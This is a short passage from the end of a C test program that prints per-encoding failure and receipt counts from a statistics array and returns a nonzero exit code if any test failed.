%d failed, %d received\n", testEncodings[i].str,statistics[1][i],statistics[0][i]); if(totalFailed) return 1; return(0); }